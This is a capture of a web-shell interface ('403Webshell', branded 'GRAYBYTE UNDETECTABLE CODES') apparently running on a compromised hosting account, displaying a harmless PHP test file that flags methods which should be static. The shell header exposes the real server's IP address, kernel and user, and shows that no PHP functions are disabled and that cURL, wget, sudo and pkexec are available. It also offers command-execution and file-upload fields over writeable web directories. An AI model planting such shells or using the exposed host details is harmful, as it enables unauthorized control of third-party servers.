- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.147.54.227
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/puertode/public_html/mesa/setup/test/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/puertode/public_html/mesa/setup/test/tests/test.staticmethods.php
<?php
require_once "class.test.php";

class StaticMethods extends Test {
    var $name = "Methods that should be static";

    static function ignore3rdparty() {
        return false;
    }

    function testStaticMethods() {
        $scripts = static::getAllScripts();
        $static_functions = array();
        foreach ($scripts as $s) {
            $matches = array();
            preg_match_all('/^\s*(?:\/\*[^*]*\*\/)?\s*'
                    .'(?:(?:private|public|protected|static|abstract)\s+)+'
                    .'function\s+&?\s*([^(\s]+)\s*\(/m',
                file_get_contents($s), $matches);
            $static_functions = array_merge($static_functions, $matches[1]);
        }
        foreach (static::find_function_calls($scripts) as $call) {
            list($file, $no, $line, $func) = $call;
            if ((strpos($line, 'parent::'.$func) === false) &&
                (strpos($line, 'Unpacker::'.$func) === false) &&
                (strpos($line, '::'.$func) !== false) && !in_array($func, $static_functions)) {
                $this->fail($file, $no, "$func: Function should be static");
            }
            else {
                $this->pass();
            }
        }
    }
}

return 'StaticMethods';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit